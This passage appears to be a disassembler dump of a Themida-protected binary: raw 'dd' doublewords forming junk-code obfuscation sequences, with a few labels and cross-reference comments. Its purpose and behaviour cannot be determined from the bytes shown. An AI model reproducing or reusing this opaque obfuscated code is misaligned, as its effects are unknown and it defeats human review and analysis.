		dd 1Ah,	0B7C35040h, 0FA34241Ch,	0D781658Eh, 1842A264h
		dd 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h
		dd 56460000h, 9F7377C3h, 9D5CB6F0h, 0F8BF0FC2h,	6A006Ah
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 601E0EC3h, 0CF81C38Ah, 18596C7Bh, 0D8858D61h, 6A060BCDh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 0FE5AC351h, 443D2D32h, 8C4AE6BBh,	0C0834CB3h
		dd 57006A05h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1604h
		dd 0C3574700h, 50480FDCh, 6A240489h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 9EA1C356h
		dd 0F98B66A4h, 34D38166h, 6A006AC6h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 9E34C355h
		dd 0B1885141h, 8B9B8F2Eh, 731899Dh, 0F006A06h, 686h, 519D3300h
		dd 0FF06071Ah, 704C195h, 6880F06h, 3000000h, 73261BDh
		dd 4F8D8D06h, 6A060AA6h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 0AA9DC355h,	0DEEB37FCh
		dd 0CE9E5h, 0D5EA0000h,	0AABE1BD6h, 3708501Fh, 0D1FFF107h
		dd 18B0Fh, 83FC0000h, 7218DBDh,	850F0106h, 7Eh,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0C7C35343h, 0A11173B1h
		dd 0BD29026Ah, 60716ADh, 50DE8B90h, 0F880Fh, 52500000h
		dd 0FFE8B66h, 0F525031h, 5A585A31h, 10E99058h, 0CD000000h
		dd 0DF2D146Ah, 45BF53E3h, 2B0A5781h, 0FFFE6754h, 71AF995h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 66207F37h, 0BDE9FB8Bh, 0E800000Ch, 0
		dd 0E2ED815Dh, 89060BCDh, 732B98Dh, 0FA8B6606h,	2A919D89h
		dd 858D0607h, 60A9108h,	1719D8Bh, 0E9500607h, 14h, 6EB0F8CEh
		dd 0E94B1230h, 55CBE75h, 2BD86438h, 8C52AB02h, 1240489h
		dd 713F1BDh, 35FF6406h,	0
		dd 0AE9h, 53A66B00h, 9A70F510h,	64988E77h, 2589h, 81660000h
		dd 0FFBF35DBh, 732F185h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1B04h, 0C3574700h, 6ADF1E28h, 0B867BE4Eh
		dd 8166FF6Ah, 81C51EC3h, 25299BDFh, 0A1B5FF76h,	6A060705h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 49DEC356h, 81668C2Ch, 0F4E17E3h, 582h, 0EEB0BF00h
		dd 95FF09C1h, 6071AC9h,	147E9h,	0AD8D8900h, 0B0060700h
		dd 0EDBD2B00h, 0E6060727h, 44CB8070h, 0BE971E4h, 0EB000000h
		dd 86416DBFh, 3399EE8Dh, 613CCE80h, 11A830Fh, 0B5890000h
		dd 6070625h, 0FC8B60Fh,	683h, 0ED952900h, 0BA06072Bh, 6
		dd 33C18BF5h, 72ACDBDh,	4E8C106h, 20219D89h, 0F7660607h
		dd 830F60E2h, 6, 1FD59531h, 0BD8B0607h,	6071EC9h, 66C82B61h
		dd 0D18BFE8Bh, 0FE9h, 0F3CBC00h, 2356DAA8h
aX7eQs		db '-&7eq',0       ; DATA XREF: ___:off_43BFBCo
		align 4
		dd 10E900h, 348E0000h, 6584FE54h, 0C5E47935h, 1DCF310Ah
		dd 858B8A32h, 1, 0D52FBB66h, 8B07C083h,	71719BDh, 12E806h
		dd 0E31A0000h, 0AD8F501Ch, 203243EAh, 61E8F430h, 0D7CF0B2Fh
		dd 0C0835Fh, 3BFB8B66h,	16830FD0h, 0E9000000h, 6, 4A619D35h
		dd 59E9052Dh, 8B000000h, 71341BDh, 0FF8D8B06h, 0BFFFFFFFh
		dd 19F50A0Eh, 7E9h, 972BEB00h, 51C2C2ADh, 0F01E183h, 3384h
		dd 818D8900h, 8306071Fh, 0FFFFFFA5h, 9D8BFEFFh,	6072C85h
		dd 25DDBD8Bh, 95890607h, 1, 0AE9h, 0DEF8FC00h, 0E7183AD4h
		dd 0E97510D3h, 0
		dd 4B8FB58Dh, 0B529060Bh, 6071F51h, 0B70F006Ah,	0B595FFDFh
		dd 6A060716h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 8E2C356h, 667C2C59h, 0FFCCDC7h
		dd 83h,	0E94B900h, 9D230000h, 6071D29h,	6AFCE183h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 0E46DC352h, 1F72E69h, 727C1BDh, 29506006h, 70425BDh
		dd 0BD8B5A06h, 6071E69h, 0B8FC61h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 4595C357h, 34CDB5EFh, 0D88B66EDh, 0BAh, 1DB53100h, 0AD060732h
		dd 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 0D40DC350h
		dd 0CF374063h, 6880Fh, 8D090000h, 60701EDh, 880Dh, 0B18D8900h
		dd 81060702h, 3C00DADFh, 79958B31h, 0F060706h, 584h, 0AA6EBB00h
		dd 8D8B61DAh, 6072CE5h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 16h, 0E0C35747h, 0B58905FCh, 6072191h, 8BC28B50h
		dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 800F5818h,	6, 2FF19D8Bh
		dd 6A0607h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
		dd 57470000h, 66514FC3h, 20E6DB81h, 2FF3815Bh, 832F2EB6h
		dd 710E5BDh, 840F0006h,	7Bh, 2B81B501h,	0B80607h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 1212C350h, 6800Fh, 0BD8B0000h, 60704F9h
		dd 4E1C8D8Dh, 6A0607h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 458C03C3h, 0E9A4CA70h, 0Dh, 5960002Eh
		dd 0F2B25FD4h, 588218EFh, 61952976h, 0FF06071Dh, 0EDB589E1h
		dd 8306072Ch, 72D05BDh,	840F0006h, 43Ch, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 1Dh, 7C35040h, 7FDF596Dh
		dd 4A5DFCD8h, 0B1BD89D1h, 0F060721h, 389h, 0F98B6600h
		dd 83F9BF0Fh, 72D05BDh,	840F0106h, 413h, 5BD83F8h, 306072Dh
		dd 3CF860Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 3D0D86C3h, 691579E4h, 0FA00BB9Dh
		dd 3604E80h, 71CC99Dh, 0D98C6606h, 830Fh, 0E1800000h, 53006A04h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 3CEC9F3Fh, 0FD9E38DFh, 0CE8h, 6FB5A100h, 0C8C389F4h
		dd 0BD14FAFAh, 0A5BF8B7h, 65840FC9h, 0E9000001h, 14h, 7C87AE38h
		dd 0B97C9533h, 861363D5h, 7EEA76FFh, 4029768Ch,	990BE60h
		dd 8D29183Ah, 607051Dh,	29858B61h, 6A060706h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 2D1EC351h, 0AD15C591h, 0F49B4C8h, 68Ch, 8DB58900h, 0E9060708h
		dd 9, 577068B6h, 0ACDDFF73h, 75853313h,	6606071Eh, 0FABBDBBh
		dd 686h, 0E1958900h, 90060710h,	90DA8B50h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0E6C35141h, 840F37AFh
		dd 6, 38DBD8Bh,	6A0607h, 8C6AA368h, 7E9B0h, 2EDE0000h
		dd 2DFBB2DEh, 2404816Ch, 4F92995Ch, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 0D6C35141h,	0C789C4Ah, 295363BFh
		dd 8D3FBB4Eh, 95FF74A2h, 6071D01h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 23C35040h, 0E7EF8767h, 1AD67280h
		dd 1BD1BD8Bh, 85890607h, 60AA6ADh, 98F6BF66h, 19CE9h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 8D0BE5C3h, 6C85B121h, 5032BBF0h, 0BB6675FDh,	9D8992BAh
		dd 607108Dh, 0A6A5858Bh, 0BB66060Ah, 0C7892Bh, 18h, 27ED9D8Bh
		dd 0B58B0607h, 60AA6A9h, 0C45BD8Bh, 95010607h, 6071681h
		dd 0C21858Bh, 6A0607h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 3F0621C3h, 178F5A80h, 689F050h
		dd 12E9h, 4AE1700h, 0A9D94D5Bh,	0DE819AE2h, 2899B523h
		dd 0F5AED462h, 629858Bh, 6A0607h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 0E935D5C3h, 95A2C8Fh
		dd 70865BDh, 4468906h, 1AB59D8Bh, 0E8960607h, 6, 13E4DF58h
		dd 11E91631h, 7D000000h, 505914E6h, 929F8522h, 8289D57Fh
		dd 59EBF81Fh, 0F51505Fh, 28Ch, 5FFB8B00h, 9AD4BF96h, 0B5FF7F8Eh
		dd 60AA6A5h, 5DC6BEBBh,	0E91D680Dh, 890F05A1h, 14h, 0E8F0Fh
		dd 9E90000h, 0CE000000h, 58E050A7h, 70FD7444h, 0E2243481h
		dd 0B05BEEAh, 70525BDh,	0BD336006h, 6072271h, 10418D89h
		dd 8D610607h, 0AA6AD85h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1B04h, 0C3574700h, 0C5CDACD7h, 9C46C759h
		dd 0F50F9B7h, 0D80h, 56525000h,	0BF310F5Fh, 0DE79C8Ah
		dd 489585Ah, 195FF24h, 106071Dh, 714C595h, 6A6106h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 0ADE4A1C3h, 0BD0923A1h, 6072089h, 2D0585C7h,	30607h
		dd 9D8B0000h, 6071FA5h,	0A6ADBD83h, 0F00060Ah, 4484h, 6E800h
		dd 210C0000h, 0F8B6042h, 68B0Fh, 0BD8B0000h, 6072D5Dh
		dd 42E95Fh, 6A0000h, 3E850h, 58200000h,	448958C3h, 44810424h
		dd 1C0424h, 50400000h, 0DD71F0C3h, 1E3C9D7Eh, 8B666C0Bh
		dd 0C3050F9h, 11440011h, 10E8C101h, 2114430h, 3114C00h
		dd 4E98358h, 36EBE775h,	11043050h, 1116400h, 3010E8C1h
		dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h
		dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h
		dd 0C08B00EBh, 0F5BD8Bh, 7E90607h, 0C2000000h, 0B4CD35D1h
		dd 0F98BB6BCh, 2D05BD83h, 0F030607h, 3AF85h, 7BBB6600h
		dd 0ADBD838Dh, 60AA6h, 39E840Fh, 0A4BF0000h, 0FF161492h
		dd 0AA6ADB5h, 0B18D0906h, 8B060715h, 70681BDh, 3D95FF06h
		dd 0BF060704h, 4395C87Ah, 0A6A1B58Bh, 0BB56060Ah, 7F06B315h
		dd 106C75Bh, 96000100h,	0E950F98Bh, 0Ch, 416B5ED7h, 0BC78AC94h
		dd 90E9EC1Ah, 0EB816696h, 0B5FF9214h, 60AA6ADh,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0F6C35343h, 0AEFE9E1Bh
		dd 0E7ADFA6Dh, 95897FB3h, 6072765h, 58C0Fh, 81660000h
		dd 0FFCE46F7h, 71A5595h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 0D1754A99h, 4CB49D86h
		dd 8B666D3Dh, 0E38166D8h, 0B58BDF0Ah, 60AA6A1h,	1DF5BD8Bh
		dd 858B0607h, 6071389h,	13399529h, 89F90607h, 0C486h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 89FF59CDh, 7066985h,	79958B06h, 6A060706h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 0E81AC355h, 0FC63317h, 28Fh,	896FB700h, 704919Dh, 4C28306h
		dd 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 0D9C35141h, 5E92Fh
		dd 0DBF60000h, 0E9B5D754h, 6, 5CA6CA7Ah, 5089106Dh, 50006A20h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 0C768901h, 0B08FBDDCh, 11E9D8BFh, 73000000h,	3C6BEB92h
		dd 7328C0ACh, 7FA2FDDEh, 0E231A7A5h, 1B59BD8Bh,	858D0607h
		dd 60ABA1Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 19h,	4DC35646h, 0C6BF3E17h, 0DB81668Bh, 86893CFAh, 0B8h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 4AC35747h
		dd 46A30B33h, 9F296F60h, 71BD8B16h, 6A060712h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 7D551222h, 0A6ADB5FFh, 0CE9060Ah, 41000000h,	36ED7B78h
		dd 70937F60h, 0FF784DE8h, 71AF995h, 0F98B6606h,	24348950h
		dd 0B5FFD88Bh, 60AA6ADh, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 16h, 0A6C35242h, 95FF8318h, 6071529h, 0BD83D88Ah
		dd 60712A5h, 4F840F00h,	6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 208CC352h
		dd 6E996CAh, 0BE000000h, 0CDC6D70h, 8B665022h, 6A96FEh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 664792C3h, 0B5FFFA8Bh, 60AA6ADh, 15459529h, 95FF0607h
		dd 6070555h, 830Fh, 0B5FF0000h,	60AA6ADh, 6E960h, 0BA030000h
		dd 627AB98Bh, 0DFCB8166h, 8589616Dh, 6071239h, 1FF995FFh
		dd 8B660607h, 1DBD83DAh, 206071Fh, 4E840Fh, 0E3810000h
		dd 513197C9h, 6DD858Bh,	6A0607h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 14622C3h, 89D08C80h
		dd 709F595h, 0C606h, 13E9h, 0AAFE8200h,	510386DFh
		db 3Ah,	0F3h
word_544F42	dw 6526h		; DATA XREF: ___:off_4274E0o
		dd 3238D34Fh, 6DF2A97h,	269185C7h, 607h, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 0CE605FC3h, 0FFF407E9h, 52006AFFh, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 664D62E3h
		dd 0C18BDF8Bh, 28258589h, 0BD8B0607h, 6070CE1h,	785858Dh
		dd 8A900607h, 0D98B50DAh, 51006A90h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 8B608DABh
		dd 70379BDh, 6860F06h, 89000000h, 70549B5h, 6A6106h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 81C35646h, 587CBF66h
		dd 81D5BB66h, 0BF66006Ah, 858D80BAh, 60BDC88h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 6AC35747h, 0E87DAA24h
		dd 0Dh,	0E5617ED9h, 4462B871h, 10BF38B6h, 295FF901h, 7269DB5h
		dd 5C08306h, 12A99D8Bh,	9D2B0607h, 60712A1h, 8E850h, 2F540000h
		dd 0EF81AD44h, 0E850CCF1h, 5, 220CDC6Dh, 5F5F5F69h, 6A240489h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 3F7CC351h, 28BCC6E6h, 51BD0960h, 0F060714h
		dd 288h, 61616000h, 1CDBD33h, 6A0607h, 1D359D8Bh, 6A0607h
		dd 21A99509h, 95FF0607h, 60704C1h, 0DFF78166h, 4F8D8D44h
		dd 6A060AA6h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 1F7CC357h, 6AD1FFh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 883A64C3h
		dd 0D108EAD0h, 0F78184A3h, 39F856BBh, 218DBD83h, 0F010607h
		dd 6985h, 49BD8B00h, 6A060704h,	0CAF38002h, 11E850h, 45E60000h
		dd 17134232h, 0EE78DEB4h, 5283F2DEh, 601CABB4h,	5E95A53h
		dd 7F000000h, 9A592E33h, 4895F61h, 0F995FF24h, 6A06071Ah
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 924EC353h, 0CE9B8h, 8AE80000h, 4B634D95h
		dd 0DFD878D8h, 0D8E92164h, 0E800000Fh, 0
		dd 92ED815Dh, 0E9060BDCh, 7, 83794AF5h,	6A62E163h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 0D8CC356h, 79FC145Bh, 860F383Dh, 6, 0A8DBD8Bh, 858D0607h
		dd 60A9108h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 19h,	27C35242h, 2FCA9DD4h, 9D29F89Ah, 6070669h, 50DA8B90h
		dd 0F98B6660h, 3FDC5DB9h, 3190610Ch, 71E9995h, 35FF6406h
		dd 0
		dd 36D1F781h, 89640FC8h, 25h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 6BB16FB8h
		dd 0B3F99F72h, 0F185FFCEh, 56060732h, 6AFF6A5Fh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 0A4A6C351h, 0E97B07D1h, 0Fh,	0A17A3E58h, 0C9BBCD72h
		dd 0B57F3250h, 0FF9A895Dh, 71515B5h, 0A9858906h, 0FF060726h
		dd 71AC995h, 0FDE906h, 0BD8B0000h, 60705A5h, 0EF8100B0h
		dd 7C988711h, 816670E6h, 0E4C5CCD7h, 0F613C71h,	0DE83h
		dd 0FFC8A00h, 0F98BC8B6h, 6BAh,	0C53DBB00h, 0C18B2DCBh
		dd 0ACD0DF81h, 0E8C17B54h, 66FB8B04h, 8589E2F7h, 607168Dh
		dd 0C781C82Bh, 78A137CCh, 9D03D18Bh, 6071339h, 6E9h, 0E4D8D700h
		dd 0E978EE2Ah, 97h, 69958960h, 0F060732h, 688h,	398D8900h
		dd 61060713h, 4858Bh, 85890000h, 6070B79h, 6007C083h, 1CF98589h
		dd 0BF0F0607h, 0C08361F3h, 65B53100h, 3B06072Dh
dword_545350	dd 12830FD0h, 29000000h, 73259BDh, 4DE906h, 89F90000h
					; DATA XREF: ___:off_43BF7Co
		dd 726959Dh, 0FF8D8B06h, 80FFFFFFh, 0E183D6D7h,	34840F01h
		dd 3000000h, 70179BDh, 0FFA58306h, 0FEFFFFFFh, 89FBB70Fh
		dd 495h, 14E900h, 0F3C50000h, 679CE7BBh, 14697A36h, 0EA22BF7Ah
		dd 4C9D8E62h, 0E9FDB4h,	8D000000h, 0B5A23B5h, 6A006A06h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 6782C356h, 4FEF7F0Ch, 0CF81F0BDh,	2806AB11h
		dd 16B595FFh, 6A0607h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 3C24A4C3h, 0C6B49F57h, 890AA1E2h
		dd 713999Dh, 0E4BB906h,	6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 150424h, 53430000h, 0E9BBEAC3h, 0Fh, 0B0CFAE30h
		dd 189AA37Fh, 0D540D147h, 66AE3FF4h, 0E183F98Bh, 4D9D8BFCh
		dd 0FC06070Eh, 6852BB66h, 0B8h,	0BA00h,	6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 482E60C3h, 0CD8D892Ch, 0AD060712h, 0E8D1C233h, 0E983D003h
		dd 0BF47504h, 70101BDh,	52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1B04h, 0C3524200h, 0BCE09465h, 3324F922h
		dd 9FD9D8Bh, 880D0607h,	6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 257C353h
		dd 958B781Fh, 6070679h,	1225BD8Bh, 8B530607h, 70BDDBDh
		dd 8D8B5B06h, 6072CE5h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 16h, 0EBC35545h, 8B50C495h, 3188BC2h, 8B188BC1h
		dd 3E8D1C1h, 58188BC2h,	805B55BFh, 1D958917h, 8B06070Dh
		dd 701A5BDh, 0E5BD8306h, 60710h, 8E840Fh, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 0E4CC7BC3h, 81F2442Eh, 0F9AD5C6h, 68Ch, 959D8B00h, 0E906070Eh
		dd 11h,	8D88BDD7h, 82657B30h, 0E5C9D663h, 6693D529h, 0B8ECh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 8B3C58C3h, 8B53A04Bh, 70B159Dh, 8D8D5F06h
		dd 6074E1Ch, 1418D89h, 0E1FF0607h, 0FD9D0160h, 6606071Ch
		dd 61E270BAh, 2D05BD83h, 0F000607h, 5A084h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 6B3423CFh, 5BB67977h, 0B509A627h, 6071FD5h, 0DF8B6653h
		dd 5BD835Fh, 106072Dh, 57E840Fh, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 160424h, 52420000h, 0C92D46C3h
		dd 0BE9h, 40ABA800h, 4DED302Fh,	0A506F7ABh, 28599529h
		dd 0BD830607h, 6072D05h, 7860F03h, 6A000005h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 122EC352h, 5715BC69h, 5E78EB81h, 605F2C8Ch, 3FBAF381h
		dd 8C665B74h, 55006AD9h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 0F723A16h, 68Bh, 898D0900h, 8006072Eh
		dd 6A04E1h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 0FF7DE7C3h, 30A050E7h, 0BD8BD974h, 607099Dh
		dd 840FC90Ah, 1EBh, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 16h, 26C35545h, 858BBADEh,	6070629h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0B2C35242h, 10E91Ah
		dd 41B50000h, 0DC6D70BEh, 0EC69220Ch, 9A8A7766h, 85330799h
		dd 6071E75h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 17h,	8CC35040h, 51838CA1h, 14E957h, 592F0000h, 35354969h
		dd 0E326C949h, 9AA01AC8h, 690231C7h, 5B5F4B8Ch,	14E850h
		dd 14370000h, 0CD82FB8h, 0A4240CFEh, 80345AEFh,	6A907979h
		dd 52506379h, 1EF4BB66h, 0BF66310Fh, 585A4A94h,	2404895Bh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0B1C35545h
		dd 0B01536Dh, 0FDF22889h, 0DB589EEh, 31060730h,	712E98Dh
		dd 6A006A06h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 8BCBC357h, 7E80348h, 0CB000000h
		dd 6F0CFEEh, 0EE8FA58h,	49000000h, 60021E75h, 4F16274Bh
		dd 7A3E587Ah, 13E9A1h, 75DD0000h, 85BCF94Ah, 2400D289h
		dd 0CA2E7248h, 4F4BC92h, 8B5B5BB9h, 72629BDh, 4E806h, 3FF0000h
		dd 8B66001Fh, 6BBF50FBh, 8B319EC1h, 0F042444h, 283h
dword_545868	dd 8BFA8A00h, 66525000h, 310FD98Bh, 585AD98Bh, 4244489h
					; DATA XREF: Themida_:005160B4o
		dd 13E9h, 0D3ADAE00h, 0CF210316h, 57B86C0Dh, 0DEEF686Bh
		dd 0E5033A81h, 0EDBD8958h, 0FF060731h, 71D0195h, 8B606006h
		dd 0D2B70FD1h, 999D2961h, 6106072Bh, 0A6AD8589h, 6A060Ah
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 0D2A678C3h, 0C59B531h, 0BE90607h, 66000002h,	8BD0B0BFh
		dd 0AA6A585h, 899D8B06h, 0C706072Fh, 1800h, 16F78100h
		dd 2941EB24h, 70AD58Dh,	0A9B58B06h, 66060AA6h, 8B1670BFh
		dd 70C2185h, 0BDB58906h, 89060720h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 0A406C4B8h
		dd 33624131h, 9D8B7823h, 6071ABDh, 629858Bh, 6A0607h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 50B991C3h, 0F8FB47C2h, 6A044689h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 712CC355h
		dd 96A173C1h, 50DA8B66h, 52006A96h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 0BE23F9FBh, 293429E2h
		dd 499FBFA6h, 0B5FF24DCh, 60AA6A5h, 0CE8h, 9853EE00h, 0C2E8FFD8h
		dd 0CF723B6Fh, 0CF816654h, 685F85D0h, 0B666093Ch, 3CDBB66h
		dd 0C3240481h, 6A49B8FAh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 0A38BC352h,	8B5117C6h
		dd 705D5BDh, 0AD858D06h, 6A060AA6h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 96B0C357h
		dd 13E860h, 0A76A0000h,	0DA2B70CCh, 0F8014E77h,	70F745EDh
		dd 462994ACh, 5B5B531Eh, 59EB8166h, 8501609Dh, 6070589h
		dd 2E68166h, 0B79061EEh, 52505081h, 0FD8A5250h,	5E9310Fh
		dd 92000000h, 72B00C2Ah, 310F585Ah, 0A60B93BFh,	90585A73h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0A7C35242h
		dd 6FDAB35Dh, 0F69D6C3h, 68Fh, 51958900h, 0FF060726h, 71D0195h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 0D79705A5h, 85B9CC1Eh, 21BD8950h, 5B06070Ah
		dd 1765BD89h, 6A610607h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 7B3DC355h, 0BE845930h
		dd 0DE8B66DDh, 2D0585C7h, 30607h, 840F0000h, 6,	0DD1BD23h
		dd 0BD830607h, 60AA6ADh, 3B840F00h, 29000000h, 72B71BDh
		dd 4BE906h, 6A0000h, 3E855h, 5D200000h,	6C895DC3h, 44810424h
		dd 170424h, 55450000h, 0B14879C3h, 559D8BEEh, 60060708h
		dd 1B6DBD8Bh, 8B660607h, 305061F0h, 4400110Ch, 0E8C10111h
		dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h
		dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h
		dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h
		dd 11043001h, 7504E983h, 8B00EBE7h, 0D38166C0h,	6AF9BFh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 3DF62AC3h, 9B33DA9Fh, 0F608C6Bh, 688h, 0C9858900h, 0F06070Fh
		dd 187h, 8361F500h, 72D05BDh, 850F0306h, 512h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0B1C35646h, 0AF4F7192h
		dd 0A6ADBD83h, 0F00060Ah, 4E584h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 309C82F4h
		dd 8B02E430h, 71E999Dh,	6870F06h, 89000000h, 725458Dh
		dd 0ADB5FF06h, 6A060AA6h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 0E5D6C352h,	54332D20h
		dd 11BB35AFh, 43D95FFh,	6A0607h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 0B58BCBC3h, 60AA6A1h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0AFC35545h
		dd 8B502012h, 71AE9BDh,	106C706h, 6A000100h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
